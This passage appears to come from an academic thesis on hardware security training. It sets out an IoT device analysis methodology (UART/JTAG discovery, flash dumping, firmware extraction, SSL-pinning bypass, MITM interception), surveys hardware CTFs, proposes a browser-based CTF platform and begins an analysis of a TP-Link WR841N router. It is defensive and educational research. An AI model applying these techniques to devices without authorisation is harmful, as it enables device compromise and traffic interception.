such as openssl x509 -in cert.der -inform der -text -noout and
openssl asn1parse for finer-grained decoding.

2.3.3 Analysis Methodology and Procedural Phases
Embedded systems analysis is organised into reproducible phases that progress from low-
impact reconnaissance to active testing.

Preliminary reconnaissance (open-source & regulatory) Before any physical han-
dling or device acquisition, an initial reconnaissance phase collects technical and regulatory
data to form hypotheses about the hardware design, interfaces and required tooling. Publicly
available information is surveyed — vendor datasheets, FCC filings (FCC: US regulatory
filings, which often contain PCB photos and diagrams), vendor support threads, community
forums and public vulnerability databases (NVD/CVE - NVD: NIST database providing
CVE details with CVSS scores, which quantify the severity and impact of each vulner-
ability). Datasheets, FCC filings and PCB images are primarily used to infer hardware
characteristics (likely Flash package types, e.g. SOP8/SOIC8 footprint versus BGA),
identify probable UART pins, JTAG headers and test points, and assess whether existing
equipment (SOIC8/SOP8 test clips, CH341A, UART adapters, BlueTag, etc.) will be
adequate or if additional tools must be procured. Vendor threads, community reports and
vulnerability entries (CVE/NVD) are consulted to collect past reports, known weaknesses,
default credentials and remediation history; this information feeds the threat model and
helps prioritise which interfaces and firmware components deserve early attention.

On-board non-invasive reconnaissance Initial on-board assessment is conducted with
minimal physical intrusion guided by the preliminary reconnaissance hypotheses. Typical
UART identification starts by locating four candidate pins that are likely to be part of the
serial interface. Using a multimeter, GND is identified by continuity to ground (0V), VCC
by a stable voltage (typically 3.3-5V). TX is recognized by voltage fluctuations between
0V and VCC immediately after power-on, caused by bootloader or firmware output such
as initialization messages, while the remaining pin is RX, which stays stable at 0V or
VCC. Pinout hypotheses are validated by temporarily connecting a USB-UART adapter
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and checking for bootloader messages at standard baud rates (try 115200, then 57600 and
9600). The presence of bootloaders such as U-Boot is inferred from recognizable prompts.
On-board JTAG/SWD are enumerated using passive discovery tools such as Logic Analyzer,
BlueTag, JTAGulator. Flash device packages are visually inspected and cross-referenced
with manufacturer markings to determine chip storage model name and characteristics
before any direct read attempt.

Firmware acquisition Firmware acquisition proceeds based on the available hardware
interfaces and the trade-off between invasiveness and reliability.

Non-destructive in-situ reads of SPI/NOR devices using a test clip (e.g. SOIC8/SOP8)
and a programmer (e.g. CH341A) are preferred when feasible, but they are intrinsically
less reliable than chip-off due to clip contact issues and to circuit interactions on the board
(parts of the surrounding circuitry may power or drive the Flash pins when the clip is
attached, introducing bus contention or corrupting reads). A recommended canonical
sequence for in-situ extraction is: attach the test clip to the storage device, run flashrom
-p ch341a_spi -r dump.bin and compute sha256sum dump.bin. Repeat the read several
times, disconnecting/reconnecting the clip, to verify that the hash is reproducible and the
dump is consistent.

When higher reliability is required, chip-off — physically removing the flash memory for
external reading — is the preferred method, though it is destructive and demands proper
handling skills and suitable equipment.

If direct hardware access is unavailable, bootloader-mediated techniques are attempted.
Examples include using TFTP via a serial boot protocol to transfer data off-board, or
exploiting U-Boot commands to read memory and emit its contents over the serial console
(bootloader prints a hex ASCII memory dump to UART — the output can be reconstructed
into a binary with a simple conversion script). Network-based acquisition is also used: OTA
update packages are captured by intercepting traffic (creating a MITM if needed, e.g. via
bettercap) to retrieve update images for offline analysis.

Static analysis Static inspection begins with file carving and entropy scanning (binwalk
-Me dump.bin); extracted components are processed with format-specific tools (unsquashfs
for SquashFS, 7z x for LZMA, dd with offsets for raw partitions). Strings are extracted with
strings -t x dump.bin and correlated with disassembly to locate configuration tables,
hard-coded credentials and certificate blobs. Certificate parsing and key discovery are
performed using openssl and simple ASN.1 inspection; private-key leakage is checked by
searching common key encodings and file headers. Disassembly projects are constructed in
Ghidra with the target architecture specified (ARM/ARM64/MIPS/XTENSA etc.); before
importing, determine the binary’s load/base address (for example with allyourbase) and
set that base in Ghidra so addresses and cross-references line up correctly. Automatic
analysis is followed by manual function renaming and cross-referencing against public
library signatures (for example, using Ghidra Function ID database). Finally, potential
vulnerabilities — such as missing input validation — are investigated either by inspecting
the decompiled code directly or by examining the installed binaries and their versions for
known security issues.
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Dynamic analysis In this phase, devices are observed at runtime. Testing begins with
passive packet captures (pcap) analyzed in Wireshark to verify authentication, transport
security and update delivery, then moves to active scans (e.g. nmap -sV -p-), simulated
server/client interactions and MITM testing. Mobile companion apps are dynamically
instrumented with Frida to remove SSL pinning when needed, perform function-level tracing
and intercept APIs, validating static-analysis hypotheses and mapping the mobile app
<-> device (device under test) network protocol. Device emulation (e.g., QEMU) can
replace physical hardware to enable GDB-attached debugging, easier fuzzing, snapshots
and instrumentation, but it requires nontrivial setup and can miss or misrepresent some
hardware (e.g., RF) behaviors. JTAG/SWD and serial interfaces such as UART provide
low-level firmware access for interactive shells and memory/process inspection. Oscilloscopes
and logic analyzers capture bus activity, timing and side-channel signals; in particular,
ChipWhisperer can be employed for side-channel analysis and fault injection (glitching):
EM/power analysis provokes and measures failures to assess robustness, while protocol
fuzzing and on-device firmware modification reproduce vulnerabilities and recover runtime
secrets.

Automation techniques Machine learning and pattern-matching methods can assist
in anomaly detection and vulnerability discovery: they are useful for identifying recurring
patterns in network traffic, large logs, binaries, or decompiled code. However, all automated
findings must be validated through manual analysis to minimize false positives and ensure
reliability.
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Chapter 3

State of the Art

3.1 National Research Projects Enabling the Work
National and institutional research projects contribute to the infrastructure and funding
environment that enables research into security training and cyber ranges. One of the
main and recent projects relevant to the Italian context is coordinated by the SERICS
Foundation (SEcurity and RIghts in the CyberSpace), whose projects include ARTIC
(Affordable, Reusable and Truly Interoperable Cyber ranges), the context within which this
thesis work was born.

SERICS (Security and Rights in the CyberSpace) SERICS is a PNRR-funded
extended partnership dedicated to enhancing cybersecurity, data protection, and digital
rights research. Coordinated by academic institutions, it aims to foster academic-industry
collaboration and strengthen advanced educational programs. The foundation supports
the development of new cyber ranges and training facilities, establishing the necessary
infrastructure for scalable security education.

ARTIC (Affordable, Reusable and Truly Interoperable Cyber ranges) ARTIC is
a specific project under the Spoke 4 umbrella of Fondazione SERICS, focused on engineering
cost-effective, scalable, and interoperable cyber ranges. By leveraging containerization,
microservice architectures, and digital twin integration, ARTIC aims to reduce deployment
costs and facilitate cross-domain scenarios. These objectives are directly relevant to this
work, which applies ARTIC’s principles of scalability and reuse to the domain of embedded
and IoT security training.

3.2 Hardware Security Training Landscape
The domain of hardware security training occupies a narrower niche compared with the
broader ecosystem of cybersecurity education (web, network, reverse engineering, and
cryptography). Educational offerings for embedded device security range from formal
academic initiatives, professional short courses, vendor-led challenges, and conference
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workshops. Furthermore, there is a divergence in the technical intricacy and accessibility of
these systems. The subsections below summarise the predominant activity categories.

3.2.1 Professional Conferences and Training
The primary conferences and events comprise specialised short courses and workshops, with
a focus on embedded exploitation and side-channel analysis, fault injection, and secure
hardware design. The programs incur considerable expense, with registration fees and
workshop expenses commencing at hundreds of euros and sometimes reaching thousands.
These programs are often targeted at experienced practitioners, and in many cases are
funded by employers rather than by individual participants.

Hardware security training is delivered at a number of different events and venues,
including Black Hat USA 2025 (August, Las Vegas) with courses on embedded security
delivered by experts; DEF CON 33 (August 2025, Las Vegas) via its Hardware Hacking
Village, featuring workshops on IoT; Hardwear.io USA 2025 (May, Santa Clara) and NL
2025 (November, Amsterdam), emphasizing practical exploitation. Dedicated providers like
S4X offer standalone 2-day courses on applied hardware attacks, while UKRISE provides
free HW security training roadshows for UK PhD and post-doc students. Other notable
options include SANS Institute’s IoT-focused penetration testing series.

To illustrate the cost spectrum, the following table summarizes training offerings with
some examples in Table 3.1:

Provider/Event Course Examples Duration Cost
Black Hat USA From JTAG, UART, SPI to SDR, BLE,

Firmware, TPM Sniffing, and Drone Sys-
tems

2 to 4 days €3810 to
€5200 [7]

DEF CON Offensive IoT Exploitation / SDR101
/ RFID & EPACS Hacking / Medical
Device PT & Defense

2 to 4 days €2165 to
€2770 [10]

Hardwear.io NL Automotive, RF/Baseband, Chip-Level
RE, Side-Channels, Faults, FPGAs,
TEE & Secure Boot

3 days €2810 [15]

S4X Applied Hardware Attacks: Embed-
ded/IoT Systems

2 days €3075 + tax
[28]

SANS Institute IoT and Wireless Penetration Testing 3 to 6 days €4935 to
€8230 [29]

UKRISE HW Security Training Roadshow 2 days Free, but re-
served for
UK PhD/post-
doc [31]

Table 3.1. Approximate costs for hardware security trainings (excludes travel/hardware kits).
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3.2.2 Overview of Hardware Security Competitions and CTFs
This section presents a non-exhaustive list of hardware CTF platforms. The selected
examples are examined based on their format, accessibility limitations, and relevance to
the visual simulation goals of this thesis.

• eCTF MITRE’s eCTF is a free, embedded competition structured in two distinct
phases. In the first phase, teams are tasked with the creation of secure systems
in accordance with specified requirements. In the second phase, these systems are
then subjected to an attempt at breach by teams representing opposing factions.
The competition is conducted entirely online, facilitated by MITRE, which provides
reference implementations, comprehensive documentation, and a designated set of
development boards per team. Additionally, hardware emulators or remote servers
are made available as required. Past challenges are archived in the MITRE Cyber
Academy repositories, supporting study and pedagogical reuse.

• RHme The RHme series commenced as Riscure products prior to the introduction of
versions by Keysight. These versions focused on Arduino-class boards that address
fundamental hardware problems through side-channel analysis, fault injection, and
the exploitation of microcontrollers. These comprised the 2015 to 2017 editions, and
they furnished participants with binaries, source artefacts and community write-ups
through public repositories. However, 2017 edition also relied on hardware and it was
shipped to selected participants. All supporting materials, including code, binaries and
documentation, remain available online for continued access following the conclusion
of the event.

• HHV DEF CON The DEF CON Hardware Hacking Village (HHV) runs hardware
challenges on a rolling basis across multiple years. Challenge sets were created both
for DEF CON’s live events, requiring on-site participation, and for remote engagement
through posted recordings and downloadable data. Some editions — specifically DC28,
DC29, Hackfest 2020, and DC32 — were designed to be accessible remotely, providing
participants with firmware, logic analyzer captures, and circuit information to work on
from home. Other editions, particularly the more recent live events like DC33, were
primarily in-person: participation realistically required a DEF CON badge (around
$560) and hardware was available in limited quantities (e.g., eight devices secured to
village tables). Organizers made shared tools, such as logic analyzers, available, but
participants were generally expected to bring their own probes or analysers. After
each event, HHV publishes challenge files and write-ups, and multiple past editions are
archived on GitHub, preserving a historical record and enabling study or replication;
however, the practical ability to replicate a challenge remotely depends on the edition,
as some were designed specifically for in-person interaction.

• Microcorruption Microcorruption is an online platform that offers embedded
firmware reverse-engineering exercises (notably for the MSP430 architecture). The
platform exposes disassembly, live memory/views of registers, and an interactive
debugger-like console. Its narrow architectural focus introduces limitations: the
MSP430 is dated, far removed from the microcontrollers commonly used in contempo-
rary IoT devices, and the challenges therefore do not reflect modern embedded systems.
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It does not provide a photographic PCB view nor simulated physical instruments, but
remains easily accessible and reproducible.

• CSAW The CSAW ESC (Embedded Security Challenge) is a recurring university-run
competition with a long history of remote qualification rounds and on-site finals. The
public has access to a variety of past challenge sets, virtual machines and challenge
sources, which enable remote replication and analysis. The most advanced tasks in
some editions are dependent on hardware platforms (e.g. ChipWhisperer Nano and
Arduino), but the qualification stages typically run through remote execution.

• Google CTF and public archives Google’s Capture The Flag provides challenge
archives and a public GitHub repository that contains many past challenge archives
and infrastructure elements. Although not hardware-centric in general, the public
availability of challenge materials makes it a relevant resource for CTF pedagogy and
for reuse patterns across categories.

• Hardwear.io and Hardware CTF Hardwear.io, together with Hardware CTFs
curated by teams such as Quarkslab and Ledger (the company behind the widely
used Ledger hardware cryptocurrency wallets), represents a conference-level hardware
competition ecosystem. These events are in-person and hardware-focused, offering
benches equipped with tools for PCB reversing, microsoldering, RF analysis, and side-
channel tasks. Organizers provide shared (across participants) equipment and guidance,
but participation requires attendance and payment for the conference (typically $200-
$850), with optional paid training tracks costing around $3,250. Participants receive
certificates of attendance for the conference and certificates of completion for the
training programs. While some preparatory webinars and recorded presentations are
publicly available, the challenges themselves remain largely inaccessible online, and
published details are primarily limited to basic summaries. This setup emphasizes
hands-on experience with physical hardware rather than remote or reproducible
exercises.

• Hack The Box Platform providers that historically focused on software CTFs have
introduced hardware categories; Hack The Box includes a Hardware challenge category
and provides write-ups and tooling guidance for selected tasks. Some challenges are
delivered via uploaded signal captures, SAL files, or firmware images; others require
local hardware to be reproduced. However, the platform’s primary orientation remains
virtual machines and software CTFs rather than a full visual hardware lab.

• OWASP IoTGoat The developers of OWASP IoTGoat created a firmware distribu-
tion system which contains OpenWrt-based vulnerable code for educational purposes.
It is possible for users to operate this system on QEMU for virtual machine or con-
tainer deployment, thus creating a platform upon which to study IoT problems and
forming a practical dataset for lab exercises that focus on firmware vulnerabilities and
emulation. Projects like IoTGoat facilitate reproducible, offline training and can be
used as building blocks for challenge environments.

• Hackropole Hackropole hosts archived challenge sets from national competitions
(France Cybersecurity Challenge) including hardware-tagged tasks. Typical tasks
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include radio/IQ decoding, side-channel specimens and binary/firmware artefacts;
many of the challenges are distributed as files (signals, traces) rather than as live
physical benches. These let participants explore some practical aspects of embedded
systems and hardware security, though they do not include instrument-level visual
simulations and provide only a limited sense of working with live hardware.

An examination of public archives reveals two enduring characteristics: organizers
typically either retain devices on-site or dispatch limited hardware packages to participants.
Furthermore, post-event distribution of challenge materials is common, enabling retrospec-
tive review and education. However, the analysis of device-based problems heavily relies on
face-to-face data collection during live events.

Overall, the materials exhibit three main distribution patterns:

1. On-site hardware benches and shared devices, typical of conference villages and Hard-
wear and HHV events, where a limited number of devices are available on shared
tables. Participation usually involves travel and accommodation expenses, adding to
the overall cost of engaging with the conferences.

2. Distributed hardware kits, used in events such as MITRE eCTF or some editions of
RHME, where organisers mail boards or minimal toolkits. These allow full remote
participation.

3. File-based archives, including firmware, logic captures, SAL/IQ files, and write-ups,
which enable remote replay and study after the event but lack the immediacy of
physical hardware and interactive instruments.

3.2.3 Identified Gaps in the Field
A review of public archives, CTF platforms, and professional training offerings reveals
several structural and pedagogical gaps in the current hardware security landscape:

1. Limited browser-based, full-stack simulations. While platforms like Micro-
corruption or IoTGoat provide firmware analysis, debugger consoles, or emulated
environments, and Hackropole or HHV archives supply traces, binaries, or IQ captures,
none replicate the experience of interacting with a real PCB in a visually guided,
instrument-driven workflow. Tasks such as multimeter measurements, UART probing,
or component identification are rarely simulated in-browser, creating a gap for learners
who cannot access physical benches.

2. High cost and logistical barriers for hands-on learning. Conferences, profes-
sional courses, and live CTF events provide authentic hardware experience but often
at significant financial and logistical expense, including conference registration, travel,
accommodation, and sometimes hardware kits. The number of available devices is
usually limited, further constraining practical participation.

3. Partial reproducibility of challenge materials. Post-event archives and reposito-
ries (firmware, SAL/IQ files, binaries, or virtual machines) allow retrospective study,
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but cannot fully reproduce the live interaction with instruments and devices. For
problems that depend on physical benches or specialized tools, reproduction requires
substantial effort, additional hardware, or technical know-how, which may hinder
self-guided learning.

4. Narrow architectural or platform focus. Many educational platforms and
challenges rely on specific architectures or hardware (e.g., MSP430 in Microcorruption,
Arduino in RHme, ChipWhisperer Nano in CSAW ESC), which do not reflect the
diversity of modern IoT ecosystems. This limits the generality of skills acquired and
constrains exposure to contemporary embedded system designs.

Overall, these gaps highlight a trade-off between realism, accessibility, and reproducibility
in hardware security training. Authentic hands-on experience is often costly and limited
to in-person contexts, while remotely accessible or emulated platforms fail to convey
the full visual and instrumental workflow of interacting with physical devices. There is
currently no widely available solution that provides a comprehensive, browser-based, visually
guided hardware lab experience combining realistic device interaction, instrumentation, and
pedagogical structure.

3.3 Exploitability Factors in Low-Cost IoT Devices
3.3.1 Exposed Debug Interfaces
Unprotected debug interfaces (e.g., UART, JTAG, SWD) represent a recurring vulnerability
class in low-cost designs. The final product frequently incorporates test pads and header
pins which remain accessible due to inadequate mechanical protection.

This physical exposure is rarely accidental; it stems from the conflict between security
goals and the lifecycle requirements of manufacturing and debugging. Production and
support workflows demand high "observability" and "controllability" to verify hardware
integrity (typically via JTAG) and validate system functionality (often via UART). These
capabilities are indispensable for Return Merchandise Authorization (RMA — analyzing
returned defective units) and device refurbishment. While mechanisms like eFuses or
Authenticated Debug could permanently disable these interfaces post-production, they
are frequently omitted because blocking access would render legitimate troubleshooting
workflows impossible [6]. Consequently, physical security is sacrificed for operational
efficiency and low manufacturing costs [5, p.9].

The UART interface has been identified as the most exploitable vector in IoT devices
[14, p.9]. Connection through UART can directly lead to an unrestricted root shell or, if
password-protected, allow access to the bootloader environment to manipulate the firmware
image. Empirical data confirms the ubiquity of this vector: UART interfaces were found
vulnerable to firmware extraction in over 45 percent of evaluated devices in one study [14,
p.9].

Similarly, JTAG and SWD connections, used for loading firmware during manufacturing,
allow adversaries to read chip memory and control CPU execution. While JTAG typically
utilizes 8 to 20 pins, SWD generally requires just two. If documentation is unavailable,
attackers employ specialized tools like BlueTag or JTAGulator to brute-force and identify
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the pinout configuration, making exposed interfaces a primary starting point for hardware
analysis.

3.3.2 Accessible Non-Volatile Storage and Hard-coded Secrets
External SPI/NOR flash chips in budget devices function as storage for firmware, config-
uration files, and credentials. It is a common occurrence that such storage areas are not
subject to encryption due to resource constraints, power-saving requirements, and Quality
of Service (QoS) considerations [5, p.9]. This facilitates the direct dumping of plaintext
secrets and configuration artefacts through the use of an in-circuit SPI programmer.

Beyond the risk of exposing intellectual property, this extraction process often reveals
latent security vulnerabilities. In cases where severe flaws are discovered, the impact may
extend beyond the single target, potentially affecting the manufacturer’s entire product
line if the vulnerable code base is shared [14, p.9].

3.3.3 Lack of Hardware Root of Trust and Secure Boot
The most economical consumer IoT devices are rarely equipped with hardware roots of trust
or secure boot systems, as manufacturers omit these features to reduce cost and complexity
[9, p.12]. The absence of these measures allows attackers to modify or replace firmware
images, facilitating persistent backdoor implantation.

While security-enhanced processors and components — such as Apple’s Secure Enclave,
ARM TrustZone, Intel’s integrated crypto engines, and TPM co-processors — provide
hardware-based protections like secure boot and resistance to side-channel attacks, they
face significant adoption barriers. A primary drawback is the high cost of manufacturing;
these processors are typically produced on a small scale to limit the exposure of sensitive
proprietary design information, which prevents achieving economies of scale. Furthermore,
the persistent risk of supply chain compromise and the complexity of developing software
for these specialized architectures make them difficult to deploy widely in IoT systems [17,
p.3].

3.3.4 Firmware, Network and Update Vulnerabilities
Outdated software, insecure API endpoints, and improperly authenticated firmware update
systems are prevalent vectors for IoT compromise. Many manufacturers omit long-term
security updates due to economic constraints [5, p.7]. Even when over-the-air (OTA) updates
are implemented, protocols must be validated to ensure authentication and integrity. The
widespread use of commercial off-the-shelf (COTS) components and software reuse reduces
development costs but introduces shared risks; research indicates that roughly 80% of
manufacturers distribute firmware with known flaws derived from third-party libraries [14,
p.2].

Hard-coded or default sensitive values, such as API keys and passwords, pose critical
threats. The 2016 Mirai Botnet exemplified this by exploiting default credentials in IP
cameras and routers to scale massively. Furthermore, the disclosure of private keys or
hard-coded secrets can enable Man-in-the-Middle attacks. When a single secret is embedded
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across many devices, compromising one unit allows attackers to target millions of identical
devices — a systemic risk known as Break Once, Run Everywhere (BORE) [9, p.441].

3.3.5 Physical Accessibility and Side-Channel Exposure
The lack of tamper and anti-tamper protections in low-cost devices makes them highly
susceptible to the physical attacks described in previous sections, including probing, Side-
Channel Analysis (SCA), and Fault Injection (FI). Nearly all platforms, from constrained
IoT end-nodes to SoCs, are vulnerable to fault injection [30, p. 200].

Crucially, cost sensitivity in the IoT sector means that standard countermeasures are
virtually always absent. These missing defenses include constant-time implementations,
masking, and EM shielding against SCA, as well as glitch detectors and tamper-resistant
packaging against FI. This absence substantially increases the attack surface, leaving devices
highly susceptible to SCA and FI [6, p. 194] [32, p. 147].
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Chapter 4

Contributions

4.1 Motivations for Reproducible Hardware Security
Training

The impetus for this research stems from the identified lacunae in the existing state-of-
the-art. Hardware security training, in its traditional form, is often constrained by various
limitations. These include the considerable expense often associated with professional
training courses and the restricted access to hardware instrumentation. Such events, that
were listed and described in the previous chapter, typically require a substantial financial
investment and prior expertise, which limits accessibility for newcomers or practitioners from
primarily software-focused backgrounds. Furthermore, the availability of fully virtualized
or browser-based hardware CTF platforms is limited. Existing solutions provide valuable
firmware analysis and simulated debugging environments; however, the absence of visualized
PCBs, integrated instrument panels, and point-and-click interfaces limits engagement
for learners who are unfamiliar with physical electronics. Crucially, these purely virtual
approaches fail to cultivate the spatial awareness and physical reconnaissance skills
required to build a correct mental model of the device’s attack surface.

This work addresses these challenges by providing a training environment that bridges the
gap between software-oriented CTF participants and hands-on hardware experimentation.
The objective is to facilitate access to hardware artefacts through a browser, providing
visual access to actual components and hacking tools with simulated behavior. This serves
as an introductory entry point for novices seeking to acquire fundamental knowledge in
the domain of hardware security, acting as a catalyst for their progression towards the
exploration of physical hardware. The training environment is designed to be accessible,
scalable, and reproducible while delivering realistic investigative workflows.

4.2 Investigation and Documentation of Hardware Se-
curity Weaknesses

A fundamental outcome of this research endeavour is the systematic investigation of security
weaknesses affecting low-cost Internet of Things devices. The analysis involved selecting
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representative devices, examining their hardware architecture, and assessing their exposure
to risks based on observable characteristics. Areas of focus included the presence of
unprotected debug interfaces (e.g., UART), accessible non-volatile storage, the absence
of secure-boot mechanisms or hardware roots of trust, insecure communication channels,
firmware structure weaknesses, and evidence of tampering or backdoor-prone design choices.

Through this investigative workflow, a complete set of technical materials was collected
for each device, including boot logs, firmware images, configuration files, and documentation
of internal components. These materials support a clear reconstruction of the device’s
operational behaviour and physical layout, while highlighting the specific vulnerabilities
identified during the analysis. The resulting corpus forms a reproducible reference set that
can be used in educational contexts and further research.

Beyond pedagogical applications, this work contributes to a broader understanding of
the security posture of commercial low-cost IoT devices. By documenting weaknesses that
recur across multiple models and vendors, the research helps bring to light structural issues
that often remain obscure to end-users. The findings also serve a community value: by
sharing analyses, technical notes, and troubleshooting insights on public platforms, other
researchers and practitioners can benefit from the documented workflows, speed up their
own investigations, or resolve similar issues encountered when attempting to regain control
over their devices.

Finally, this activity supports a culture of transparency within the hardware-hacking and
embedded-security community. The identification of widespread vulnerabilities encourages
responsible remediation, promotes informed user awareness, and contributes to the long-term
improvement of security practices in rapidly expanding IoT markets. The investigation,
and its future continuation beyond this thesis, aims to provide both pedagogical resources
and documented evidence that supports improved security practices for inexpensive IoT
ecosystems.

4.3 Generation and Curation of Artifacts for Realistic
CTFs

A structured and reproducible corpus of artifacts was assembled from the analysis of real,
low-cost IoT devices. The collected materials capture device behaviour, architectural
characteristics, and practical investigative steps. The curated collection reflects the full
analytical workflow and supports both educational use and research-oriented examination
of embedded systems.

The artifact corpus includes:

• Firmware images and binaries. Full flash dumps were extracted. The associated
analysis logs document the complete reverse engineering lifecycle, including firmware
unpacking, binary modification attempts, and backdoor injection. The notes also detail
technical hurdles such as cross-compilation failures and update-related inconsistencies.

• Boot sequences and console traces. Bootlogs and console outputs were captured
to record initialization behaviour, service activation, and error conditions. These
traces were annotated to highlight observable patterns, misconfigurations, and points
of analytical interest.
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• Configuration files and filesystem snapshots. Filesystem extractions and config-
uration files preserve default parameters, internal command sets, partition layouts,
and other structural details. Associated metadata, including file hashes and directory
mappings, ensures reproducibility.

• Operational logs and network captures. Network traces document communi-
cation between devices and companion services. The procedures adopted for traffic
interception, including SSL Pinning bypass and man-in-the-middle inspection, were
fully recorded without disclosing sensitive data.

• Reverse-engineering outputs. Disassembly listings, Ghidra project exports, Bin-
walk results, and static analysis notes were produced. These materials highlight
potential vulnerabilities, misconfigurations, and exploitable code paths, without pro-
viding step-by-step exploitation instructions.

• Mobile application artifacts. Companion-app behaviour was examined to document
communication mechanisms, API endpoints, and interactions with the device. The
full workflow for analysing the mobile app, intercepting app-to-device traffic, and
extracting relevant behavioural data was recorded in detail.

• High-resolution PCB imagery and hardware annotations. Detailed pho-
tographs of PCB layouts were collected, with annotations of components, test pads,
debug interfaces, and wiring points. Where available, additional hardware descriptors
such as partial schematics or bill-of-materials information were included.

• Instrumentation and troubleshooting logs. Measurement procedures, wiring
schemes, logic-analyzer captures, multimeter readings, and notes on encountered issues

— such as unstable serial connections or hardware-level communication failures — were
documented to support reproducibility and highlight practical diagnostic steps.

• Vulnerability and exploitability documentation. Identified weaknesses were
catalogued, including insecure update mechanisms, exposed interfaces, and software-
level flaws. The documentation includes high-level descriptions of exploit paths, effects
of backdoors, and analytical reasoning derived from firmware and application reverse
engineering.

The systematic documentation of the investigative workflow—spanning interface identi-
fication, firmware manipulation, and network analysis—ensures these artifacts can support
realistic investigative scenarios. The resulting corpus captures the structural and behavioural
reality of low-cost IoT devices, providing a controlled environment for security analysis that
eliminates the dependency on physical hardware and specialized instrumentation.

4.4 Proposed Hardware CTF Framework
The proposed framework organises the previously described contributions into a single,
coherent platform for scalable, reproducible hardware security training. The design rationale
prioritises three concurrent objectives: (i) realism — by reusing artefacts and behaviours
extracted from analysed devices; (ii) accessibility — by offering a free, browser-based
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environment with instrument-like interactions that do not require physical tooling; (iii) ped-
agogical progression — by guiding novice users through progressively complex investigative
tasks.

Pedagogical design and progressive difficulty

Challenges are organised as tiered learning paths that gradually introduce hardware concepts
and investigative techniques. Initial levels focus on visual recognition and low-barrier tasks
(component identification, locating labelled test points, interpreting simple boot logs).
Intermediate levels introduce measured interaction with virtual instruments (multimeter
readings to distinguish power rails, discovery of UART pins by interpreted voltage traces,
configuring serial parameters to observe console output). Advanced levels expose learners
to firmware analysis workflows (dumping a firmware image, static inspection with Binwalk-
style summaries and guided Ghidra exploration) and to high-level vulnerability reasoning
(e.g. identification of misconfigured authentication). Each level provides contextual hints,
example commands, and graded feedback designed to maintain motivation without sacrificing
realism.

Instrument simulation and interaction model

Rather than attempting full hardware emulation, the framework simulates, via web-code,
instrument behaviour by driving deterministic or parameterised responses derived from
recorded measurements and generated models. Because this proposed Cyber Range is
free to access and runs entirely in the browser, learners can immediately perform realistic
investigative actions without acquiring hardware or paid tooling. Virtual instruments
include:

• Multimeter simulation: returns annotated voltage, continuity and resistance
measurements for selected nodes, based on curated readings and simple conditional
logic (e.g. open circuit versus grounded test point).

• UART terminal: implemented with a web terminal component (xterm-style) con-
nected to a server process that replays boot logs, responds to permitted commands,
and simulates interactive prompts; serial parameters (baud, parity) affect the decoding
model to reinforce correct configuration choices.

• Programmer adapter (e.g. CH341A): enables retrieval of firmware images from
the artefact store and supports a safe “flash” workflow for demonstration purposes;
written operations are simulated and logged rather than executed on remote hardware.

• PCB probing helper (PCBite-like): provides guided wiring operations and visual
overlays that indicate correct probe placement, with simulated consequences for
correct/incorrect connections.

• Optional logic-capture viewer: displays pre-recorded logic traces and annotated
timing diagrams where the pedagogical scenario requires temporal analysis.

This interaction model preserves the cause-effect relationships found in real labs (probe
-> measurement -> interpretation) while providing a guided, structured path that prevents
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learners from wandering blindly through the process. By reducing unnecessary trial-and-
error and avoiding the overhead of setting up hardware workflows from scratch, the CTF
keeps the experience focused, approachable, and motivating. The fact that the platform is
entirely free and self-contained further lowers the entry barrier for complete beginners.

Structured Interaction and Skill Development

A typical orchestration sequence comprises: (1) visual inspection and annotation of the PCB;
(2) identification of candidate debug/test points; (3) instrument selection and measurement;
(4) retrieval and static analysis of firmware; (5) hypothesis generation about possible
weaknesses; (6) verification via simulated commands or synthesized testcases. Guidance is
embedded through inline hints and illustrative example artifacts, offering learners structured
support and minimizing the risk of disengagement. Intended outcomes are articulated per
challenge and map to measurable skills: identification of debug interfaces, interpretation
of bootlogs, safe extraction of firmware images, elementary static analysis, and reasoning
about exploitability.

Cyber Range Prototype

The vulnerability assessment and artifact curation documented in this thesis provide the
foundational data for the Cyber Range (CTF) prototype developed in the ARTIC Project
by a colleague.

The next images illustrate two of the central mechanisms of the platform: the simulation
of the Multimeter (Figure 4.1), which enables precise electrical reconnaissance; and the
UART Console (Figure 4.2), which provides interactive access to the device’s runtime
environment.

Figure 4.1. Virtual Electrical Measure-
ment: Users simulate using a multimeter to ac-
quire annotated voltage and continuity readings
on the PCB, crucial for pin identification.

Figure 4.2. Interactive Serial Access:
Once pins are identified, a virtual terminal con-
sole opens, replaying our complete bootlogs and
responding to bootloader or shell commands
based on recorded behavioral models.
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Chapter 5

Experimental Results

5.1 TP-Link WR841N Router Analysis
The TP-Link TL-WR841N, also marketed as the "N300", is a consumer-grade router
designed for homes and small businesses. The device supports 2.4 GHz Wi-Fi access
through IEEE 802.11b/g/n standards, delivering maximum theoretical PHY rates of 300
Mbps, and provides wired Ethernet connections. It offers basic routing, NAT, and firewall
protection, along with user-friendly features such as a web-based administration interface,
guest networks, parental controls, IPv6 support, a WPS button for quick secure connections,
and remote or local management via web or mobile apps.

The specific router under test for this assessment is hardware revision 11.1 and is powered
by a single-core 32-bit MIPS Qualcomm SoC running at 650 MHz, along with 32 MB
DRAM and 4 MB SPI NOR flash memory for storing firmware.

These routers are designed for the mass market, prioritizing low cost over advanced
security features. Their limited protections and design constraints make them interesting
targets for security research, as vulnerabilities can potentially affect a large number of users.
While adequate for basic home networking, the TL-WR841N could be exposed to privacy
risks, unauthorized access, and other network-level threats.

5.1.1 UART Pin Identification and Connection
The first stage of the initial analysis required to find and confirm the UART interface
because this interface serves as the main observation and interaction point for the embedded
system. UART was selected as first choice because it delivers essential boot output during
startup. This allows to monitor hardware initialization and operating system loading
processes without affecting system operation. Bootloader and kernel console messages can
be seen in real time through this channel, which also supports direct command input when
input functionality is active. The working hypothesis was that UART would either expose
a login shell or at least reveal kernel debug information, both essential to understanding
the firmwar’s runtime behavior before performing any flash dumping or reprogramming
operations.

Four unpopulated through-holes were identified on the PCB, arranged in a pattern
typical of UART headers. The ground pin was located by measuring continuity between
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each pad and the metallic shell of the power connector using a multimeter in ohmmeter
mode.

The TX line became visible through signal probing after it was established a stable
ground reference which allowed us to identify serial output. The communication link
operated at 115200 baud rate through picocom which successfully recorded console output
from both bootloader and kernel startup operations.

The RX pin which serves to send data to the device showed no initial response, and no
transmitted characters were detected as echoes. The community reports indicate that certain
devices contain pulldown resistors which restrict current flow so users must modify these
devices to achieve suitable communication. In this case, instead, electrical measurement with
a multimeter revealed an open circuit: the pads were present but electrically disconnected
(5.1). To create the electrical continuity, two PCBite probes were placed in the point of
gap, and were connected together with a small wire (5.2).

After restoration, a stable UART link was established, providing both output and
command input capabilities. The interface operated correctly which allowed to continue
the work on firmware and boot analysis.

Figure 5.1. TP-Link WR841N UART RX electrical connection gap
